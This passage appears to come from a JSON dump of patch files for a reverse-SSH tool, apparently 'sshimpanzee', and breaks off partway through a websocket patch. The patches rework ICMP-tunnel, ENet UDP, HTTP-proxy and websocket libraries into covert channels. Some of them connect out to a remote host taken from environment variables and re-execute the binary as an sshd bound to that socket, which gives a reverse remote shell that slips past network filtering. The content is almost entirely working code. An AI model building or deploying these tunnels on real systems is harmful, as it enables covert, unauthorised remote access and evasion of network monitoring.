in_addr src_addr;\n+  struct in_addr dest_addr;\n \n   int packet_size;\n   char *packet;\n \n   struct sockaddr_in servaddr;\n-\n+  #ifndef NO_ROOT\n   inet_pton(AF_INET, packet_details->src_addr, &src_addr);\n   inet_pton(AF_INET, packet_details->dest_addr, &dest_addr);\n \n@@ -123,6 +130,11 @@ void send_icmp_packet(int sock_fd, struct icmp_packet *packet_details)\n   memcpy(icmp_payload, packet_details->payload, packet_details->payload_size);\n \n   icmp->type = packet_details->type;\n+  if (packet_details->type==ICMP_ECHO)\n+    {\n+      //      printf(\"Gen echo\\n\");\n+      icmp->un.echo.id = rand();\n+    }\n   icmp->checksum = 0;\n   icmp->checksum = in_cksum((unsigned short *)icmp, sizeof(struct icmphdr) + packet_details->payload_size);\n \n@@ -134,6 +146,30 @@ void send_icmp_packet(int sock_fd, struct icmp_packet *packet_details)\n   sendto(sock_fd, packet, packet_size, 0, (struct sockaddr *)&servaddr, sizeof(struct sockaddr_in));\n \n   free(packet);\n+  #else\n+  //inet_pton(AF_INET, packet_details->src_addr, &src_addr);\n+  inet_pton(AF_INET, packet_details->dest_addr, &dest_addr);\n+  memset(&servaddr, 0, sizeof(struct sockaddr_in));\n+  servaddr.sin_family = AF_INET;\n+  servaddr.sin_addr.s_addr = dest_addr.s_addr;\n+\n+  packet_size = sizeof(struct icmphdr) + packet_details->payload_size;\n+  packet = calloc(packet_size, sizeof(uint8_t));\n+  icmp = (struct icmphdr*) packet;\n+  icmp_payload = (char*)(packet+sizeof(struct icmphdr));\n+  icmp->type=packet_details->type;\n+  prepare_headers(ip,icmp);\n+  if(packet_details->type)\n+    icmp->un.echo.id = rand();\n+\n+  icmp->checksum = 0;\n+  icmp->checksum = in_cksum((unsigned short *)icmp, sizeof(struct icmphdr) + packet_details->payload_size);\n+  memcpy(icmp_payload, packet_details->payload, packet_details->payload_size);\n+\n+  sendto(sock_fd, packet, packet_size, 0, (struct sockaddr *)&servaddr, sizeof(struct sockaddr_in));\n+\n+  free(packet);\n+  #endif\n }\n \n /**\n@@ -153,6 +189,7 @@ void receive_icmp_packet(int sock_fd, struct icmp_packet *packet_details)\n \n   socklen_t src_addr_size;\n   int enc_MTU; //encapsulated MTU\n+  #ifndef NO_ROOT\n \n   enc_MTU = MTU + sizeof(struct iphdr) + sizeof(struct icmphdr);\n \n@@ -166,12 +203,12 @@ void receive_icmp_packet(int sock_fd, struct icmp_packet *packet_details)\n   src_addr_size = sizeof(struct sockaddr_in);\n   \n   // Receiving packet\n-  packet_size = recvfrom(sock_fd, packet, enc_MTU, 0, (struct sockaddr *)&(src_addr), &src_addr_size);\n+  packet_size = recvfrom(sock_fd, packet, enc_MTU, 0, NULL, &src_addr_size);\n \n   ip = (struct iphdr *)packet;\n   icmp = (struct icmphdr *)(packet + sizeof(struct iphdr));\n   icmp_payload = (char *)(packet + sizeof(struct iphdr) + sizeof(struct icmphdr));\n-\n+  \n   // Filling up packet_details\n   inet_ntop(AF_INET, &(ip->saddr), packet_details->src_addr, INET_ADDRSTRLEN);\n   inet_ntop(AF_INET, &(ip->daddr), packet_details->dest_addr, INET_ADDRSTRLEN);\n@@ -183,10 +220,51 @@ void receive_icmp_packet(int sock_fd, struct icmp_packet *packet_details)\n     close_icmp_socket(sock_fd);\n     exit(-1);\n   }\n-\n+  lastid = icmp->un.echo.id;\n   memcpy(packet_details->payload, icmp_payload, packet_details->payload_size);\n \n   free(packet);\n+  #else\n+\n+  enc_MTU = MTU + sizeof(struct icmphdr);\n+\n+  packet = calloc(enc_MTU, sizeof(uint8_t));\n+  if (packet == NULL) {\n+    perror(\"No memory available\\n\");\n+    close_icmp_socket(sock_fd);\n+    exit(-1);\n+  }\n+\n+  src_addr_size = sizeof(struct sockaddr_in);\n+  \n+  // Receiving packet\n+  packet_size = recvfrom(sock_fd, packet, enc_MTU, 0, NULL, &src_addr_size);\n+\n+\n+  icmp = (struct icmphdr*)packet;\n+  icmp_payload = (char *)(packet + sizeof(struct icmphdr));\n+  \n+  // Filling up packet_details\n+  //memcpy(packet_details->src_addr, &src_addr, sizeof(src_addr));\n+  //  memcpy(\n+  \n+  packet_details->type = icmp->type;\n+  packet_details->payload_size = packet_size - sizeof(struct icmphdr);\n+  packet_details->payload = calloc(packet_details->payload_size, sizeof(uint8_t));\n+  if (packet_details->payload == NULL) {\n+    perror(\"No memory available\\n\");\n+    close_icmp_socket(sock_fd);\n+    exit(-1);\n+  }\n+  if (packet_details->type==ICMP_ECHO)\n+    lastid = icmp->un.echo.id;\n+  memcpy(packet_details->payload, icmp_payload, packet_details->payload_size);\n+  //printf(\">> %s\\n\", packet_details->payload);\n+  \n+  \n+  free(packet);\n+\n+  #endif\n }\n \n /**\n@@ -232,6 +310,7 @@ uint16_t in_cksum(uint16_t *addr, int len)\n  */\n void prepare_headers(struct iphdr *ip, struct icmphdr *icmp)\n {\n+  #ifndef NO_ROOT \n   ip->version = 4;\n   ip->ihl = 5;\n   ip->tos = 0;\n@@ -239,9 +318,11 @@ void prepare_headers(struct iphdr *ip, struct icmphdr *icmp)\n   ip->frag_off = 0;\n   ip->ttl = 255;\n   ip->protocol = IPPROTO_ICMP;\n-\n+  #endif\n   icmp->code = 0;\n-  icmp->un.echo.sequence = rand();\n-  icmp->un.echo.id = rand();\n-  icmp->checksum = 0;   \n+  icmp->un.echo.sequence = 0x4242+i;\n+  icmp->un.echo.id = lastid;\n+  icmp->checksum = 0;\n+  i++;\n+  \n }\ndiff --git a/icmptunnel.c b/icmptunnel.c\nindex 526c044..fbb382e 100644\n--- a/icmptunnel.c\n+++ b/icmptunnel.c\n@@ -11,6 +11,9 @@\n #define ARG_SERVER_MODE \"-s\"\n #define ARG_CLIENT_MODE \"-c\"\n \n+int fd_in = 0;\n+int fd_out = 1;\n+int c = 1;\n void usage()\n {\n   printf(\"Wrong argument\\n\");\n@@ -20,22 +23,10 @@ void usage()\n int main(int argc, char *argv[])\n {\n   char ip_addr[100] = {0,};\n-  if ((argc < 3) || ((strlen(argv[2]) + 1) > sizeof(ip_addr))) {\n-    usage();\n-    exit(EXIT_FAILURE);\n-  }\n-  memcpy(ip_addr, argv[2], strlen(argv[2]) + 1);\n-\n-  if (strncmp(argv[1], ARG_SERVER_MODE, strlen(argv[1])) == 0) {\n-    run_tunnel(ip_addr, 1);\n-  }\n-  else if (strncmp(argv[1], ARG_CLIENT_MODE, strlen(argv[1])) == 0) {\n-    run_tunnel(ip_addr, 0);\n-  }\n-  else {\n-    usage();\n-    exit(EXIT_FAILURE);\n-  }\n+  memcpy(ip_addr, \"0.0.0.0\", strlen(\"0.0.0.0\") + 1);\n \n+  run_tunnel(ip_addr, 1);\n+  \n+  \n   return EXIT_SUCCESS;\n }\ndiff --git a/tunnel.c b/tunnel.c\nindex ba28e67..9e954ee 100644\n--- a/tunnel.c\n+++ b/tunnel.c\n@@ -24,45 +24,22 @@\n \n \n #define DEFAULT_ROUTE   \"0.0.0.0\"\n+#define ACK \"ACK\"\n+\n+extern int fd_in;\n+extern int fd_out;\n+extern int c;\n \n /**\n  * Function to allocate a tunnel\n  */\n int tun_alloc(char *dev, int flags)\n {\n-  struct ifreq ifr;\n-  int tun_fd, err;\n-  char *clonedev = \"/dev/net/tun\";\n-  printf(\"[DEBUG] Allocating tunnel\\n\");\n-\n-  tun_fd = open(clonedev, O_RDWR);\n-\n-  if(tun_fd == -1) {\n-    perror(\"Unable to open clone device\\n\");\n-    exit(EXIT_FAILURE);\n-  }\n   \n-  memset(&ifr, 0, sizeof(ifr));\n-\n-  ifr.ifr_flags = flags;\n-\n-  if (*dev) {\n-    strncpy(ifr.ifr_name, dev, IFNAMSIZ);\n-  }\n-\n-  if ((err=ioctl(tun_fd, TUNSETIFF, (void *)&ifr)) < 0) {\n-    close(tun_fd);\n-    fprintf(stderr, \"Error returned by ioctl(): %s\\n\", strerror(err));\n-    perror(\"Error in tun_alloc()\\n\");\n-    exit(EXIT_FAILURE);\n-  }\n+  return fd_in;\n+}\n \n-  printf(\"[DEBUG] Allocatating tunnel2\");\n \n-  printf(\"[DEBUG] Created tunnel %s\\n\", dev);\n-\n-  return tun_fd;\n-}\n \n /**\n  * Function to read from a tunnel\n@@ -70,15 +47,18 @@ int tun_alloc(char *dev, int flags)\n int tun_read(int tun_fd, char *buffer, int length)\n {\n   int bytes_read;\n-  printf(\"[DEBUG] Reading from tunnel\\n\");\n-  bytes_read = read(tun_fd, buffer, length);\n-\n-  if (bytes_read == -1) {\n+  //printf(\"[DEBUG] Reading from tunnel\\n\");\n+  buffer[0] = 'S';\n+  buffer[1] = 'S';\n+  buffer[2] = 'H';\n+  bytes_read = read(fd_in, buffer+3, length-3);\n+  \n+  if (bytes_read == -1 || bytes_read == 0) {\n     perror(\"Unable to read from tunnel\\n\");\n     exit(EXIT_FAILURE);\n   }\n   else {\n-    return bytes_read;\n+    return bytes_read+3;\n   }\n }\n \n@@ -88,11 +68,11 @@ int tun_read(int tun_fd, char *buffer, int length)\n int tun_write(int tun_fd, char *buffer, int length)\n {\n   int bytes_written;\n-  printf(\"[DEBUG] Writing to tunnel\\n\");\n-  bytes_written = write(tun_fd, buffer, length);\n+  //printf(\"[DEBUG] Writing to tunnel\\n\");\n+  bytes_written = write(fd_out, buffer, length);\n \n   if (bytes_written == -1) {\n-    perror(\"Unable to write to tunnel\\n\");\n+    //perror(\"Unable to write to tunnel\\n\");\n     exit(EXIT_FAILURE);\n   }\n   else {\n@@ -105,48 +85,7 @@ int tun_write(int tun_fd, char *buffer, int length)\n  */\n void configure_network(int server)\n {\n-  int pid, status;\n-  char path[100];\n-  char *const args[] = {path, NULL};\n-\n-  if (server) {\n-    if (sizeof(SERVER_SCRIPT) > sizeof(path)){\n-      perror(\"Server script path is too long\\n\");\n-      exit(EXIT_FAILURE);\n-    }\n-    strncpy(path, SERVER_SCRIPT, strlen(SERVER_SCRIPT) + 1);\n-  }\n-  else {\n-    if (sizeof(CLIENT_SCRIPT) > sizeof(path)){\n-      perror(\"Client script path is too long\\n\");\n-      exit(EXIT_FAILURE);\n-    }\n-    strncpy(path, CLIENT_SCRIPT, strlen(CLIENT_SCRIPT) + 1);\n-  }\n-\n-  pid = fork();\n \n-  if (pid == -1) {\n-    perror(\"Unable to fork\\n\");\n-    exit(EXIT_FAILURE);\n-  }\n-  \n-  if (pid==0) {\n-    // Child process, run the script\n-    exit(execv(path, args));\n-  }\n-  else {\n-    // Parent process\n-    waitpid(pid, &status, 0);\n-    if (WEXITSTATUS(status) == 0) {\n-      // Script executed correctly\n-      printf(\"[DEBUG] Script ran successfully\\n\");\n-    }\n-    else {\n-      // Some error\n-      printf(\"[DEBUG] Error in running script\\n\");\n-    }\n-  }\n }\n \n \n@@ -162,18 +101,29 @@ void run_tunnel(char *dest, int server)\n \n   tun_fd = tun_alloc(\"tun0\", IFF_TUN | IFF_NO_PI);\n \n-  printf(\"[DEBUG] Starting tunnel - Dest: %s, Server: %d\\n\", dest, server);\n-  printf(\"[DEBUG] Opening ICMP socket\\n\");\n+  //printf(\"[DEBUG] Starting tunnel - Dest: %s, Server: %d\\n\", dest, server);\n+  //printf(\"[DEBUG] Opening ICMP socket\\n\");\n   sock_fd = open_icmp_socket();\n-\n+  \n   if (server) {\n-    printf(\"[DEBUG] Binding ICMP socket\\n\");\n+    //printf(\"[DEBUG] Binding ICMP socket\\n\");\n     bind_icmp_socket(sock_fd);\n+    receive_icmp_packet(sock_fd, &packet);\n+    strncpy(dest, packet.src_addr, strlen(packet.src_addr) + 1);\n+    \n+  }else{\n+    strncpy(packet.src_addr, DEFAULT_ROUTE, strlen(DEFAULT_ROUTE) + 1);\n+    strncpy(packet.dest_addr, dest, strlen(dest) + 1);\n+    set_echo_type(&packet);\n+    packet.payload = dest;\n+    packet.payload_size= strlen(dest);\n+    send_icmp_packet(sock_fd, &packet);\n+\n   }\n \n   configure_network(server);\n \n-  while (1) {\n+  while (c) {\n     FD_ZERO(&fs);\n     FD_SET(tun_fd, &fs);\n     FD_SET(sock_fd, &fs);\n@@ -181,13 +131,13 @@ void run_tunnel(char *dest, int server)\n     select(tun_fd>sock_fd?tun_fd+1:sock_fd+1, &fs, NULL, NULL, NULL);\n \n     if (FD_ISSET(tun_fd, &fs)) {\n-      printf(\"[DEBUG] Data needs to be readed from tun device\\n\");\n+      //printf(\"[DEBUG] Data needs to be readed from tun device\\n\");\n       // Reading data from tun device and sending ICMP packet\n-\n-      printf(\"[DEBUG] Preparing ICMP packet to be sent\\n\");\n+      \n+      //printf(\"[DEBUG] Preparing ICMP packet to be sent\\n\");\n       // Preparing ICMP packet to be sent\n       memset(&packet, 0, sizeof(struct icmp_packet));\n-      printf(\"[DEBUG] Destination address: %s\\n\", dest);\n+      //printf(\"[DEBUG] Destination address: %s\\n\", dest);\n \n       if (sizeof(DEFAULT_ROUTE) > sizeof(packet.src_addr)){\n         perror(\"Lack of space: size of DEFAULT_ROUTE > size of src_addr\\n\");\n@@ -196,12 +146,13 @@ void run_tunnel(char *dest, int server)\n         exit(EXIT_FAILURE);\n       }\n       strncpy(packet.src_addr, DEFAULT_ROUTE, strlen(DEFAULT_ROUTE) + 1);\n-\n+      \n       if ((strlen(dest) + 1) > sizeof(packet.dest_addr)){\n-        perror(\"Lack of space for copy size of DEFAULT_ROUTE > size of dest_addr\\n\");\n+        //perror(\"Lack of space for copy size of DEFAULT_ROUTE > size of dest_addr\\n\");\n         close(sock_fd);\n         exit(EXIT_FAILURE);\n       }\n+\n       strncpy(packet.dest_addr, dest, strlen(dest) + 1);\n \n       if(server) {\n@@ -217,32 +168,61 @@ void run_tunnel(char *dest, int server)\n       }\n \n       packet.payload_size  = tun_read(tun_fd, packet.payload, MTU);\n+      //printf(\"READ %s\\n\", packet.payload);\n       if(packet.payload_size  == -1) {\n         perror(\"Error while reading from tun device\\n\");\n         exit(EXIT_FAILURE);\n       }\n \n-      printf(\"[DEBUG] Sending ICMP packet with payload_size: %d, payload: %s\\n\", packet.payload_size, packet.payload);\n+      //printf(\"[DEBUG] Sending ICMP packet with payload_size: %d, payload: %s\\n\", packet.payload_size, packet.payload);\n       // Sending ICMP packet\n+      //printf(\">> %s\\n\", packet.payload);\n+      //write(2, \"<<\", 3);\n+      //write(2, packet.payload, packet.payload_size-3);\n+\n       send_icmp_packet(sock_fd, &packet);\n \n       free(packet.payload);\n     }\n \n     if (FD_ISSET(sock_fd, &fs)) {\n-      printf(\"[DEBUG] Received ICMP packet\\n\");\n+      //printf(\"[DEBUG] Received ICMP packet\\n\");\n       // Reading data from remote socket and sending to tun device\n \n       // Getting ICMP packet\n       memset(&packet, 0, sizeof(struct icmp_packet));\n-      receive_icmp_packet(sock_fd, &packet);\n \n-      printf(\"[DEBUG] Read ICMP packet with src: %s, dest: %s, payload_size: %d, payload: %s\\n\", packet.src_addr, packet.dest_addr, packet.payload_size, packet.payload);\n+      \n+      receive_icmp_packet(sock_fd, &packet);\n+      \n+      //printf(\"[DEBUG] Read ICMP packet with src: %s, dest: %s, payload_size: %d, payload: %s\\n\", packet.src_addr, packet.dest_addr, packet.payload_size, packet.payload);\n       // Writing out to tun device\n-      tun_write(tun_fd, packet.payload, packet.payload_size);\n-\n-      printf(\"[DEBUG] Src address being copied: %s\\n\", packet.src_addr);\n+      //printf(\"<<%s\\n\", packet.payload);\n+      \n+      if(packet.payload[0] == 'S' && packet.payload[1] == 'S' && packet.payload[2] == 'H')\n+      {\n+\tpacket.payload = packet.payload+3;\n+\ttun_write(tun_fd, packet.payload, packet.payload_size-3);\n+\t//write(2, \"<<\", 3);\n+\t//write(2, packet.payload, packet.payload_size-3);\n+\tpacket.payload = packet.payload-3;\n+#ifndef NO_ROOT\n       strncpy(dest, packet.src_addr, strlen(packet.src_addr) + 1);\n+\n+#else\n+      free(packet.payload);\n+      //strncpy(packet.src_addr, DEFAULT_ROUTE, strlen(DEFAULT_ROUTE) + 1);\n+      strncpy(packet.dest_addr, dest, strlen(dest) + 1);\n+      set_echo_type(&packet);\n+      packet.payload = malloc(strlen(ACK)+1);\n+      strcpy(packet.payload, ACK);\n+      packet.payload_size = strlen(ACK)+1;\n+      send_icmp_packet(sock_fd, &packet);\n+\n+#endif\n+\n+      }\n+      //printf(\"[DEBUG] Src address being copied: %s\\n\", packet.src_addr);\n       free(packet.payload);\n     }\n   }\n"
  },
  {
    "path": "tuns/patchs/patch_libenet.patch",
    "content": "diff --git a/client.c b/client.c\nnew file mode 100644\nindex 0000000..6a5bb65\n--- /dev/null\n+++ b/client.c\n@@ -0,0 +1,94 @@\n+#include <enet/enet.h>\n+#include <stdio.h>\n+#include <string.h>\n+#include <stdlib.h>\n+#include <sys/poll.h>\n+\n+\n+int client_enet(int fd_in, int fd_out, char* remote, int port)\n+{\n+    ENetAddress address;\n+    ENetHost *client;\n+    ENetPeer *peer;\n+    ENetEvent event;\n+    int eventStatus;\n+    struct pollfd fds[2];\n+    int rc;\n+    char buffer_read[1024];\n+    int r;\n+    int connected;\n+    // a. Initialize enet\n+    if (enet_initialize() != 0) {\n+        fprintf(stderr, \"An error occured while initializing ENet.\\n\");\n+        return EXIT_FAILURE;\n+    }\n+\n+    atexit(enet_deinitialize);\n+\n+    // b. Create a host using enet_host_create\n+    client = enet_host_create(NULL, 1, 2, 57600/8, 14400/8);\n+\n+    if (client == NULL) {\n+        fprintf(stderr, \"An error occured while trying to create an ENet server host\\n\");\n+        exit(EXIT_FAILURE);\n+    }\n+\n+    enet_address_set_host(&address, remote);\n+    address.port = port;\n+\n+    // c. Connect and user service\n+    peer = enet_host_connect(client, &address, 2, 0);\n+\n+    if (peer == NULL) {\n+        fprintf(stderr, \"No available peers for initializing an ENet connection\");\n+        exit(EXIT_FAILURE);\n+    }\n+    while(connected == 0)\n+      {\n+\t\n+\teventStatus = enet_host_service(client, &event, 2000);\n+\t\n+\tif (eventStatus > 0 && event.type == ENET_EVENT_TYPE_CONNECT)\n+\t  connected = 1;\n+\t\n+      }\n+    \n+\n+    while (1) {\n+      \n+\tfds[0].fd = fd_in;\n+\tfds[0].events = POLLIN;\n+\tfds[0].revents = 0;\n+\n+\tfds[1].fd = client->socket;\n+\tfds[1].events = POLLIN;\n+\tfds[1].revents = 0;\n+\trc = poll(fds, 2, -1);\n+\t\n+\tif(rc>0 && fds[0].revents == POLLIN)\n+\t  {\n+\t    //printf(\"Data are ready to be read\\n\");\n+\t    r = read(fd_in, buffer_read, sizeof(buffer_read));\n+\t    ENetPacket *packet = enet_packet_create(buffer_read, r, ENET_PACKET_FLAG_RELIABLE);\n+            enet_peer_send(peer, 0, packet);\n+\t  }\n+\teventStatus = 1;\n+\twhile (eventStatus!=0)\n+\t  {\n+\t  eventStatus = enet_host_service(client, &event, 0);  \n+\t      // If we had some event that interested us\n+\t  if (eventStatus > 0) {\n+\t\t\n+\t    switch(event.type) {\t\t    \n+\t    case ENET_EVENT_TYPE_RECEIVE:\n+\t      write(fd_out, event.packet->data, event.packet->dataLength);\n+\t      fsync(fd_out);\n+\t      enet_packet_destroy(event.packet);\n+\t      break;\n+\t    }\n+\t  }\n+\t  }\n+\tif (r<0)\n+\t  exit(0);\n+    }\n+}\ndiff --git a/main_client.c b/main_client.c\nnew file mode 100644\nindex 0000000..cbeca12\n--- /dev/null\n+++ b/main_client.c\n@@ -0,0 +1,12 @@\n+#include <stdio.h>\n+#include <stdlib.h>\n+extern int client_enet(int,int, char*, int);\n+\n+int main(int argc, char** argv){\n+  if(argc<3)\n+    {\n+      fprintf(stderr, \"Usage : %s <REMOTE> <PORT>\\n\", argv[0]);\n+      return -1;\n+    }  \n+  return client_enet(0,1, argv[1], atoi(argv[2]));\n+}\ndiff --git a/main_server.c b/main_server.c\nnew file mode 100644\nindex 0000000..1f16ec8\n--- /dev/null\n+++ b/main_server.c\n@@ -0,0 +1,13 @@\n+#include <stdio.h>\n+#include <stdlib.h>\n+extern int server_enet(int,int, int);\n+\n+int main(int argc, char** argv){\n+  if(argc < 2)\n+    {\n+      fprintf(stderr, \"Usage: %s <PORT>\\n\", argv[0]);\n+      exit(-1);\n+    }\n+    \n+  return server_enet(0,1, atoi(argv[1]));\n+}\ndiff --git a/server.c b/server.c\nnew file mode 100644\nindex 0000000..4826dfb\n--- /dev/null\n+++ b/server.c\n@@ -0,0 +1,88 @@\n+// server.c\n+#include <enet/enet.h>\n+#include <stdio.h>\n+#include <string.h>\n+#include <stdlib.h>\n+#include <sys/poll.h>\n+\n+int server_enet(int fd_in, int fd_out, int port)\n+{\n+    ENetAddress address;\n+    ENetHost *server;\n+    ENetEvent event;\n+    int eventStatus;\n+\n+    struct pollfd fds[2];\n+    int rc;\n+    char buffer_read[1024];\n+    int r;\n+    int connected = 0;\n+    \n+    // a. Initialize enet\n+    if (enet_initialize() != 0) {\n+        fprintf(stderr, \"An error occured while initializing ENet.\\n\");\n+        return EXIT_FAILURE;\n+    }\n+\n+    atexit(enet_deinitialize);\n+\n+    // b. Create a host using enet_host_create\n+    address.host = ENET_HOST_ANY;\n+    address.port = port;\n+    \n+    server = enet_host_create(&address, 32, 2, 0, 0);\n+\n+    if (server == NULL) {\n+        fprintf(stderr, \"An error occured while trying to create an ENet server host\\n\");\n+        exit(EXIT_FAILURE);\n+    }\n+    while(1)\n+      {\n+      eventStatus = enet_host_service(server, &event, 1000);\n+      if (eventStatus > 0 && event.type == ENET_EVENT_TYPE_CONNECT)\n+\t{\n+\t\t    connected = 1;\n+\t\t    break;\n+\t}\n+      }\n+    while (1) {\n+\tfds[0].fd = fd_in;\n+\tfds[0].events = POLLIN;\n+\tfds[0].revents = 0;\n+\n+\tfds[1].fd = server->socket;\n+\tfds[1].events = POLLIN;\n+\tfds[1].revents = 0;\n+\n+\t  \n+\trc = poll(fds, 2, -1);\n+\n+\tif(rc > 0 && fds[0].revents == POLLIN)\n+\t  {\n+\t    r = read(fd_in, buffer_read, sizeof(buffer_read));\n+\t    ENetPacket *packet = enet_packet_create(buffer_read, r, ENET_PACKET_FLAG_RELIABLE);\n+\t    if(connected != 0)\n+\t      {\n+\t\tenet_peer_send(&(server->peers[0]), 0, packet);\n+\n+\t      }\n+\t  }\n+\teventStatus = 1;\n+\twhile (eventStatus!=0)\n+\t  {\n+\t  eventStatus = enet_host_service(server, &event, 0);  \n+\t      // If we had some event that interested us\n+\t  if (eventStatus > 0) {\n+\t\t\n+\t    switch(event.type) {\t\t    \n+\t    case ENET_EVENT_TYPE_RECEIVE:\n+\t      write(fd_out, event.packet->data, event.packet->dataLength);\n+\t      fsync(fd_out);\n+\t      enet_packet_destroy(event.packet);\n+\t      break;\n+\t    }\n+\t  }\n+\t  }   \n+    }\n+\n+}\ndiff --git a/sshimpanzee_tun.c b/sshimpanzee_tun.c\nnew file mode 100644\nindex 0000000..ea76447\n--- /dev/null\n+++ b/sshimpanzee_tun.c\n@@ -0,0 +1,43 @@\n+#include <stdio.h>\n+#include <stdlib.h>\n+#include  <string.h>                             //\n+#include  <unistd.h>            \n+\n+\n+extern char **environ;\n+extern int client_enet(int,int, char*, int);\n+extern int server_enet(int,int, int);\n+\n+int tun(){\n+  char\tconfig_file[2048];\n+  char *cmdline;\n+  int pid,status;\n+  char* args[] =  {\"sshd\",\"-ire\", (char*)NULL};\n+  int fd0[2];\n+  int fd1[2];\n+\n+  memset(config_file, 0, sizeof(config_file));\n+  \n+  readlink(\"/proc/self/exe\", config_file,\n+\t  sizeof(config_file));\n+  printf(\"Exec : %s\\n\", config_file);\n+\n+  pipe(fd0);\n+  pipe(fd1);\n+  pid = fork();\n+  if (pid==0){ \n+   dup2(fd0[0], 0);\n+   dup2(fd1[1], 1);\n+   close(fd0[1]);\n+   close(fd1[0]);\n+   \n+   execve(config_file, args ,environ); \n+  }\n+  else\n+    {\n+      if(getenv(\"UDP_SERV\"))\n+\tserver_enet(fd1[0], fd0[1], atoi(getenv(\"PORT\")));\n+      else\n+\tclient_enet(fd1[0], fd0[1],getenv(\"REMOTE\"), atoi(getenv(\"PORT\")));\n+    }\n+}\n"
  },
  {
    "path": "tuns/patchs/patch_proxysocket.patch",
    "content": "diff --git a/examples/tunnel.c b/examples/tunnel.c\nnew file mode 100644\nindex 0000000..8504d01\n--- /dev/null\n+++ b/examples/tunnel.c\n@@ -0,0 +1,79 @@\n+#include \"proxysocket.h\"\n+#include <stdlib.h>\n+#include <stdio.h>\n+#include <string.h>\n+#include <ctype.h>\n+#if defined(_WIN32) && !defined(__MINGW64_VERSION_MAJOR)\n+#define strcasecmp stricmp\n+#define strncasecmp strnicmp\n+#endif\n+\n+extern char **environ;\n+int tun(){\n+    //get command line parameters\n+  int i;\n+  char* param;\n+  int proxytype = PROXYSOCKET_TYPE_NONE;\n+  const char* proxyhost = NULL;\n+  uint16_t proxyport = 0;\n+  const char* proxyuser = NULL;\n+  const char* proxypass = NULL;\n+  int verbose = -1;\n+  int proxydns = 0;\n+  int pid,status;\n+  int remote;\n+  char type[8];\n+  char host[255];\n+  char* env;\n+\n+  env = getenv(\"https_proxy\");\n+  \n+  if (env==0 && (env=getenv(\"http_proxy\"))==0){\n+        fprintf(stderr, \"No http_proxy var env set\\n\");\n+        exit(1);\n+  }\n+\n+   sscanf( env, \"%[^:]://%[^:]:%d\", type, host, &proxyport);\n+   proxyhost = host;\n+   proxytype = proxysocketconfig_get_name_type(type);\n+   //   printf(\"%s %s %d\\n\", type, host, proxyport);\n+   //printf(\"%d\\n\", proxytype); \n+   proxyuser = getenv(\"PROXY_USER\");  \n+   proxypass = getenv(\"PROXY_PASS\");\n+\n+  proxydns = 1;\n+  //make the connection via the specified proxy\n+  SOCKET sock;\n+  char* errmsg;\n+  //prepare for connection\n+  proxysocket_initialize();\n+  proxysocketconfig proxy = proxysocketconfig_create_direct(5);\n+  if (proxydns)\n+    proxysocketconfig_use_proxy_dns(proxy, 1);\n+  proxysocketconfig_add_proxy(proxy, proxytype, proxyhost, proxyport, proxyuser, proxypass);\n+  //connect\n+  errmsg = NULL;\n+  remote = proxysocket_connect(proxy, getenv(\"REMOTE\"), atoi(getenv(\"PORT\")), &errmsg);\n+  if (remote != -1){\n+  char\tconfig_file[2048];\n+  char* args[] =  {\"sshd\",\"-ire\", (char*)NULL};\n+  memset(config_file, 0, sizeof(config_file));\n+  \n+  readlink(\"/proc/self/exe\", config_file,\n+\t  sizeof(config_file));\n+  \n+  printf(\"Exec : %s\\n\", config_file);\n+\n+     //\t    dup2(fd, 2);\n+   pid = fork();\n+   if (pid == 0)\n+     {\n+     dup2(remote, 0);\n+     dup2(remote, 1);\n+     execve(config_file, args ,environ);\n+     }\n+   else\n+     wait(&status);\n+  }\n+  return 0;\n+}\ndiff --git a/src/proxysocket.c b/src/proxysocket.c\nindex 86c437b..2c906d4 100644\n--- a/src/proxysocket.c\n+++ b/src/proxysocket.c\n@@ -13,6 +13,7 @@\n #define SOCKET_ERROR -1\r\n #endif\r\n #endif\r\n+#include <sys/time.h>\r\n #include <stdio.h>\r\n #include <stdlib.h>\r\n #include <string.h>\r\n"
  },
  {
    "path": "tuns/patchs/patch_websocket.patch",
    "content": "diff --git a/test.c b/test.c\nindex a15026c..3d9de5f 100644\n--- a/test.c\n+++ b/test.c\n@@ -2,8 +2,8 @@\n #include <stdlib.h>\n #include <string.h>\n #include <errno.h>\n-\n-#include <wsclient/wsclient.h>\n+#include  <poll.h>\n+#include \"wsclient.h\"\n \n int onclose(wsclient *c) {\n \tfprintf(stderr, \"onclose called: %d\\n\", c->sockfd);\n@@ -20,19 +20,28 @@ int onerror(wsclient *c, wsclient_error *err) {\n }\n \n int onmessage(wsclient *c, wsclient_message *msg) {\n-\tfprintf(stderr, \"onmessage: (%llu): %s\\n\", msg->payload_len, msg->payload);\n-\treturn 0;\n+  //fprintf(stderr, \"onmessage: (%llu): %s\\n\", msg->payload_len, msg->payload);\n+  write(1, msg->payload, msg->payload_len);\n+\n+  return 0;\n }\n \n int onopen(wsclient *c) {\n-\tfprintf(stderr, \"onopen called: %d\\n\", c->sockfd);\n-\tlibwsclient_send(c, \"Hello onopen\");\n+  //fprintf(stderr, \"onopen called: %d\\n\", c->sockfd);\n+  //\tlibwsclient_send(c, \"Hello onopen\");\n \treturn 0;\n }\n \n int main(int argc, char **argv) {\n \t//Initialize new wsclient * using specified URI\n-\twsclient *client = libwsclient_new(\"ws://echo.websocket.org\");\n+\twsclient *client = libwsclient_new(argv[1]);\n+\t\n+\tsocklen_t len;\n+\tchar recv_buf[256];\n+\tint n, n1, n2;\n+\tint flags;\n+\tstruct pollfd struct_fds[1];\n+\t\n \tif(!client) {\n \t\tfprintf(stderr, \"Unable to initialize new WS client.\\n\");\n \t\texit(1);\n@@ -46,10 +55,38 @@ int main(int argc, char **argv) {\n \t//One can then use netcat (nc) to send data to the websocket server end on behalf of the client, like so:\n \t// $> echo -n \"some data that will be echoed by echo.websocket.org\" | nc -U test.sock\n \tlibwsclient_helper_socket(client, \"test.sock\");\n-\t//starts run thread.\n \tlibwsclient_run(client);\n-\t//blocks until run thread for client is done.\n-\tlibwsclient_finish(client);\n+\tstruct_fds[0].fd = 0;\n+\tstruct_fds[0].events = POLLIN;\n+\n+\tfor(;;) { //TODO: some way to cleanly break this loop\n+\n+\t\tn = 1;\n+\t\twhile(1) {\n+\t\t  \tstruct_fds[0].fd = 0;\n+\t\t\tstruct_fds[0].events = POLLIN;\n+\t\t\tmemset(recv_buf, 0, 256);\n+\n+\t\t\tn = poll( struct_fds, 1, 0);\n+\t\t\tif (n && (struct_fds[0].revents==POLLIN))\n+\t\t\t  {\n+\t\t\t    n = read(0, recv_buf, 256, 0);\n+\t\t\t    //\t\t\t    write(2, recv_buf, n);\n+\t\t\t    libwsclient_send_binary(client, recv_buf, n);\n+\t\t\t    flags = 